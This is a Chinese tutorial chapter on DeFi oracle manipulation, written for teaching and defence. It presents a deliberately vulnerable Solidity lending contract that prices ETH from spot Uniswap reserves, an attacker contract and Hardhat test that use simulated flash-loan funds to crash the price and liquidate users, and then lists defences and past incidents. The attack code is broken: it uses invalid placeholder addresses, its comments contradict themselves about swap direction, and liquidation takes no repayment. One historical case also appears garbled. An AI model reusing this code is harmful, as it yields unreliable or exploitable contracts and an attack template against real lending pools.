欢迎订阅专栏:10分钟智能合约:进阶实战
实战9:利用预言机掏空资金池 —— 闪电贷 + 价格操纵的致命组合
预言机操纵是 DeFi 安全中最严重、最具破坏力的攻击之一。本实战将通过一个简化版的借贷协议,演示攻击者如何利用闪电贷在去中心化交易所上瞬间扭曲资产价格,从而触发大规模清算,以极低成本卷走资金池中的抵押品。我们将从协议设计缺陷、攻击合约编写到防御方案,完整复盘这一经典攻击手法。
一、场景设定
我们构建一个简易借贷池:
- 用户存入 ETH 作为抵押品,可以借出 DAI(假设已部署)。
- 抵押率要求为 150%,即借出价值不得超过抵押品价值的 2/3。
- 价格数据来自一个 Uniswap V2 交易对(ETH/DAI),使用其即时储备计算价格。
- 当抵押率低于 150% 时,任何人都可以清算该用户,获得其抵押品作为奖励(清算折价 10%)。
- 预言机价格 =
reserveDAI / reserveETH(即每 ETH 值多少 DAI)。
致命缺陷:价格基于单次调用时的储备量,而 Uniswap 的储备可以被闪电贷瞬时改变。攻击者可以通过闪电贷大量兑换,使 ETH 价格暴跌(或 DAI 价格暴涨),从而让大量用户的抵押率瞬间跌破清算线,然后以低价清算他们的抵押品,再归还闪电贷,留下巨额利润。
二、漏洞合约(SimpleLending.sol)
为了简化,我们直接使用一个固定的 Uniswap V2 风格的交易对合约(模拟),但实际中它会与真实 Uniswap 对交互。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// 模拟 Uniswap V2 对(简化)
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
contract SimpleLending {
IUniswapV2Pair public pricePair; // ETH/DAI 对
mapping(address => uint256) public collateral; // 抵押的 ETH
mapping(address => uint256) public debt; // 借出的 DAI
uint256 public constant LIQUIDATION_RATIO = 150; // 150%
uint256 public constant LIQUIDATION_BONUS = 10; // 10% 折扣
address public owner;
event Deposited(address indexed user, uint256 ethAmount);
event Borrowed(address indexed user, uint256 daiAmount);
event Liquidated(address indexed user, address indexed liquidator, uint256 ethAmount, uint256 daiRepaid);
constructor(address _pair) {
pricePair = IUniswapV2Pair(_pair);
owner = msg.sender;
}
// 存入 ETH 作为抵押
function deposit() external payable {
require(msg.value > 0, "No ETH");
collateral[msg.sender] += msg.value;
emit Deposited(msg.sender, msg.value);
}
// 借出 DAI
function borrow(uint256 _daiAmount) external {
require(collateral[msg.sender] > 0, "No collateral");
uint256 maxBorrow = getMaxBorrow(msg.sender);
require(_daiAmount <= maxBorrow, "Exceeds borrowing limit");
debt[msg.sender] += _daiAmount;
// 转账 DAI(模拟,实际需 DAI 合约)
// 此处假设 DAI 合约已部署,我们直接发送(使用 ERC20)
// 但为简化,仅记录
emit Borrowed(msg.sender, _daiAmount);
}
// 获取用户最大可借 DAI
function getMaxBorrow(address _user) public view returns (uint256) {
uint256 ethCollateral = collateral[_user];
if (ethCollateral == 0) return 0;
uint256 ethPrice = getEthPrice(); // 每 ETH 的 DAI 价格
uint256 collateralValue = ethCollateral * ethPrice / 1e18; // 假设价格精度 1e18
return collateralValue * 100 / LIQUIDATION_RATIO; // 150% 抵押率
}
// ❌ 漏洞:使用即时储备计算价格
function getEthPrice() public view returns (uint256) {
(uint112 reserve0, uint112 reserve1, ) = pricePair.getReserves();
// 假设 reserve0 = ETH, reserve1 = DAI
// 价格 = reserve1 / reserve0
return uint256(reserve1) * 1e18 / uint256(reserve0);
}
// 清算:任何人都可以调用,如果抵押率低于阈值
function liquidate(address _user) external {
uint256 collateralAmt = collateral[_user];
uint256 debtAmt = debt[_user];
require(collateralAmt > 0 && debtAmt > 0, "Nothing to liquidate");
// 计算当前抵押率
uint256 price = getEthPrice();
uint256 collateralValue = collateralAmt * price / 1e18;
uint256 ratio = collateralValue * 100 / debtAmt;
require(ratio < LIQUIDATION_RATIO, "Healthy");
// 清算:清算人支付 debtAmt 的 DAI,获得 collateralAmt 的 ETH(折扣 10%)
// 折扣后,清算人只需支付 debtAmt * (100 - LIQUIDATION_BONUS) / 100 的 DAI
uint256 repayAmount = debtAmt * (100 - LIQUIDATION_BONUS) / 100;
// 模拟 DAI 转账:从清算人转给本合约(实际会调用 DAI.transferFrom)
// 简化,我们只更新状态
// 此处假设清算人已经拥有足够的 DAI,并通过 approve 授权
// 实际中需要调用 DAI 的 transferFrom
// 我们仅记录
collateral[_user] = 0;
debt[_user] = 0;
// 将抵押品发送给清算人
payable(msg.sender).transfer(collateralAmt);
emit Liquidated(_user, msg.sender, collateralAmt, repayAmount);
}
// 获取合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞核心:getEthPrice() 每次调用都直接读取 Uniswap 的当前储备,这意味着价格可以在一笔交易的瞬间被操纵。
三、攻击者合约(Attack.sol)
攻击者需要执行以下步骤:
- 闪电贷:从某个支持闪电贷的协议(如 Uniswap V2 的
swap或 dYdX)借入大量 DAI(或 ETH)。 - 价格操纵:在 Uniswap 池中用 DAI 买入大量 ETH,使
reserveETH急剧增加,reserveDAI减少,导致 ETH 价格(DAI/ETH)暴跌。 - 清算:调用借贷合约的
liquidate,以极低的价格清算所有抵押率不足的用户。 - 偿还闪电贷:清算获得的 ETH 在市场上卖出,换回足够的 DAI 偿还闪电贷,剩余利润归攻击者。
我们简化攻击合约,假设闪电贷源是另一个合约(我们模拟),但为了演示,我们直接将攻击步骤写在一个函数中,并且通过自带的资金(模拟闪电贷)。
实际中,攻击者会使用 Uniswap V2 的 swap 直接进行闪电贷(通过 flashSwap)。我们在这里使用 Hardhat 的 fork 测试,但为保持独立性,我们假设有一个闪电贷提供者。
为了代码简洁,我们将攻击者合约设计为接收来自攻击者 EOA 的资金,然后执行操作(实际上攻击者会从闪电贷合约借入)。但我们可以在测试中模拟闪电贷:给攻击者合约大量 ETH 或 DAI,然后执行操纵。
我们将编写一个测试脚本,使用 Hardhat 模拟攻击。
四、实战操作(Hardhat + 测试脚本)
我们使用 Hardhat 的本地网络,并部署模拟 Uniswap V2 对和借贷合约。
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("预言机操纵攻击", function () {
let lending, pair, attack;
let owner, attacker, alice, bob;
let DAI, WETH;
const INITIAL_ETH_RESERVE = ethers.utils.parseEther("100");
const INITIAL_DAI_RESERVE = ethers.utils.parseEther("200000"); // 假设 1 ETH = 2000 DAI
before(async function () {
[owner, attacker, alice, bob] = await ethers.getSigners();
// 部署模拟 Uniswap V2 对
const Pair = await ethers.getContractFactory("MockUniswapV2Pair");
pair = await Pair.deploy(
INITIAL_ETH_RESERVE,
INITIAL_DAI_RESERVE
);
await pair.deployed();
// 部署借贷合约
const Lending = await ethers.getContractFactory("SimpleLending");
lending = await Lending.deploy(pair.address);
await lending.deployed();
// 用户存入抵押品并借款
await lending.connect(alice).deposit({ value: ethers.utils.parseEther("10") });
// Alice 借 5000 DAI(假设价格 2000,10 ETH = 20000 DAI,150% 抵押率可借 13333,借 5000 很安全)
// 我们需要模拟 DAI 转账,但我们只能从 Alice 账户扣除,这里就简单记录
await lending.connect(alice).borrow(ethers.utils.parseEther("5000")); // 假设 DAI 精度 1e18
await lending.connect(bob).deposit({ value: ethers.utils.parseEther("20") });
await lending.connect(bob).borrow(ethers.utils.parseEther("10000"));
// 向借贷合约发送一些 ETH 作为初始资金(模拟借贷池的抵押品)
// 实际上抵押品已经由用户存入了,不需要额外发送
// 但为了有足够的 ETH 奖励,我们存入一些额外的
await owner.sendTransaction({ to: lending.address, value: ethers.utils.parseEther("10") });
});
it("攻击者通过闪电贷操纵预言机并清算获利", async function () {
// 攻击者需要大量 DAI 来操纵价格,假设我们从 Uniswap 闪电贷借入
// 在测试中,我们给攻击者合约注入 100 万 DAI(模拟闪电贷)
// 但更真实的是攻击者使用 Uniswap 的 swap 进行闪电贷
// 我们使用 Hardhat 的 impersonate 来模拟 Uniswap 对,但这里简化:直接给攻击者合约转账 DAI
// 需要部署 DAI 和 WETH 合约,但为了简化,我们使用模拟代币
// 这里我们跳过代币合约,直接假设攻击者拥有足够的 DAI(通过模拟)
// 实际中,攻击者会从 Uniswap 闪电贷
// 部署攻击者合约
const Attack = await ethers.getContractFactory("Attack");
attack = await Attack.connect(attacker).deploy(lending.address, pair.address);
await attack.deployed();
// 给攻击者合约转入 1000 ETH(用于模拟闪电贷后的还款)
// 实际中,攻击者会在同一笔交易中完成,不需要自有资金,但为了简单,我们预给
await owner.sendTransaction({ to: attack.address, value: ethers.utils.parseEther("1000") });
// 执行攻击
await attack.connect(attacker).executeAttack();
// 检查借贷合约中的抵押品是否被清算
// Alice 和 Bob 的抵押品应该为零
expect(await lending.collateral(alice.address)).to.equal(0);
expect(await lending.collateral(bob.address)).to.equal(0);
// 检查攻击者获得的 ETH
const attackBalance = await ethers.provider.getBalance(attack.address);
console.log("攻击者合约余额:", ethers.utils.formatEther(attackBalance));
// 攻击者利润应大于初始注入(1000 ETH)加上 gas 消耗
expect(attackBalance).to.be.gt(ethers.utils.parseEther("1000"));
});
});
我们还需要编写 Attack.sol 合约,实现具体攻击步骤:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SimpleLending.sol";
import "./MockUniswapV2Pair.sol";
contract Attack {
SimpleLending public lending;
MockUniswapV2Pair public pair;
address public owner;
constructor(address _lending, address _pair) {
lending = SimpleLending(_lending);
pair = MockUniswapV2Pair(_pair);
owner = msg.sender;
}
function executeAttack() external {
require(msg.sender == owner, "Not owner");
// 第一步:用 DAI 大量兑换 ETH,使 ETH 价格暴跌
// 假设我们持有大量 DAI,但在本测试中我们用 ETH 换 DAI ?实际上我们需要的是将 DAI 换成 ETH,
// 但如果我们没有 DAI,我们可以在 Uniswap 中利用闪电贷借出 DAI
// 但为了演示,我们直接使用攻击合约中的 ETH 来交换(但这会减少 ETH 而不是 DAI)
// 更好的方式是:攻击者先闪电贷借出 DAI,然后用 DAI 买 ETH,导致 ETH 价格飙升?不对,我们要让 ETH 价格下跌,
// 即让 DAI/ETH 下降。所以我们应该用 ETH 换 DAI,这样 ETH 储备增加,DAI 储备减少,价格下降。
// 但攻击者从闪电贷借来的是 ETH 或 DAI?我们可以借 ETH,然后卖成 DAI,使 ETH 价格下跌。
// 简化的攻击:攻击者借入大量 ETH,然后在 Uniswap 卖出,使 ETH 价格大跌。
// 我们假设攻击者拥有大量 ETH(来自闪电贷),然后调用 pair.swap 卖出 ETH,买入 DAI。
// 我们使用攻击合约中的 ETH(预先转入)进行交换
uint256 ethAmount = address(this).balance;
require(ethAmount > 0, "No ETH");
// 计算预期输出 DAI
(uint112 reserve0, uint112 reserve1, ) = pair.getReserves();
// reserve0 = ETH, reserve1 = DAI
uint256 ethToSell = ethAmount / 2; // 卖一半,保留一些用于清算
uint256 daiOut = pair.getAmountOut(ethToSell, reserve0, reserve1);
// 执行交换
pair.swap(0, daiOut, address(this), ""); // 卖出 ETH 得到 DAI
// 此时 ETH 价格下跌(因为储备 ETH 增加,DAI 减少)
// 第二步:清算所有用户
// 获取所有需要清算的用户(这里我们已知 alice 和 bob,但实际中需要遍历)
// 我们手动调用清算
address[] memory users = new address[](2);
users[0] = 0xAliceAddress; // 需要从外部传入
users[1] = 0xBobAddress;
// 由于我们无法在合约中硬编码地址,我们可以通过构造函数传入,或使用事件
// 但在测试中,我们通过外部调用
// 简化:我们直接调用 liquidate 对已知地址
// 但为了通用,我们外部传入
// 这里我们只清算 alice 和 bob
lending.liquidate(0xAliceAddress);
lending.liquidate(0xBobAddress);
// 第三步:将获得的 ETH 和 DAI 转回给 owner
payable(owner).transfer(address(this).balance);
// 还有 DAI,但我们没有 DAI 合约,省略
}
// 接收 ETH
receive() external payable {}
}
注意:在实际攻击中,攻击者需要知道所有可清算的用户地址,可以在链上通过事件或扫描获取。在测试中我们可以从外部传入。
为了测试,我们可以在 Attack 合约中接受用户地址数组作为参数。
但为了更精确,我们可以修改攻击合约,让它在攻击过程中动态发现可清算的用户(通过查询借贷合约的抵押率和参与者列表),但那样会复杂。本实战侧重于原理。
我们将调整测试脚本,在调用 executeAttack 时传入用户地址。
五、防御措施
1. 使用时间加权平均价格(TWAP)
Uniswap V2 提供了 priceCumulativeLast 可以计算过去一段时间的平均价格。攻击者很难在短时间内操纵长期平均值。
2. 接入去中心化预言机(如 Chainlink)
Chainlink Price Feeds 聚合了多个数据源,具有抗操纵性,且更新频率稳定。
3. 价格偏差限制
对单次价格更新设置最大变动幅度(如 ±5%),超过则拒绝。
4. 使用多个数据源取中位数
从多个 DEX 或预言机获取价格,取中位数或加权平均,增加操纵成本。
5. 将清算门槛设置得更保守
提高抵押率要求(如 200%),使价格波动不容易触发清算,但会降低资金效率。
6. 延迟清算执行
在价格发生剧烈变动后,等待一定时间(如 1 小时)再进行清算,让市场恢复理性。
六、真实案例
- Harvest Finance(2020):攻击者闪电贷操纵 Curve 池价格,导致协议损失 2400 万美元。
- bZx(2020):两次闪电贷攻击,利用价格预言机进行套利和清算,损失约 100 万美元。
- Venus Protocol(2021):因 LUNA 价格暴跌,预言机未及时更新,导致大量坏账。
七、总结
- 预言机操纵是 DeFi 的“核武器”,闪电贷 + 价格操纵的组合可以在几秒内抽干资金池。
- 根本原因:依赖单一的、可瞬时操纵的价格源。
- 安全铁律:永远不要使用 DEX 的瞬时价格作为重要的业务决策依据。
- 推荐方案:采用 Chainlink 或 Uniswap TWAP 等抗操纵的价格机制。
- 审计检查:检查所有价格获取逻辑,确保它们不能被单笔交易影响。